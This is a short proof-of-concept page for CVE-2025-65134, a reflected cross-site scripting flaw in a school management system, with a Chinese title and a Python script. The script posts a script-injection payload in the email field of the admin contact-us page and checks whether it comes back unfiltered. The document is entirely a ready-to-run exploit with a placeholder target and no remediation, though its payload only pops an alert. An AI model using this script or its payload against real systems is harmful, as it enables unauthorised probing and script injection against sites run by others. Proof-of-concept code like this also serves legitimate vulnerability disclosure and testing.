CVE-2025-65134 School Management System 反射型XSS漏洞

import requests def exploit_xss(target_url): """ PoC for CVE-2025-65134 Reflected XSS in School Management System """ vuln_path = "/studentms/admin/contact-us.php" full_url = f"{target_url}{vuln_path}" # Malicious payload to test XSS xss_payload = '"><script>alert("CVE-2025-65134")</script>' # POST data containing the vulnerable parameter post_data = { "email": xss_payload } try: response = requests.post(full_url, data=post_data, timeout=10) # Check if the payload is reflected in the response (unfiltered) if xss_payload in response.text: print(f"[+] Vulnerability confirmed! The target {target_url} is vulnerable to Reflected XSS.") print(f"[+] Payload reflected: {xss_payload}") else: print("[-] Vulnerability not detected or payload filtered.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Replace with actual target URL target = "http://localhost" exploit_xss(target)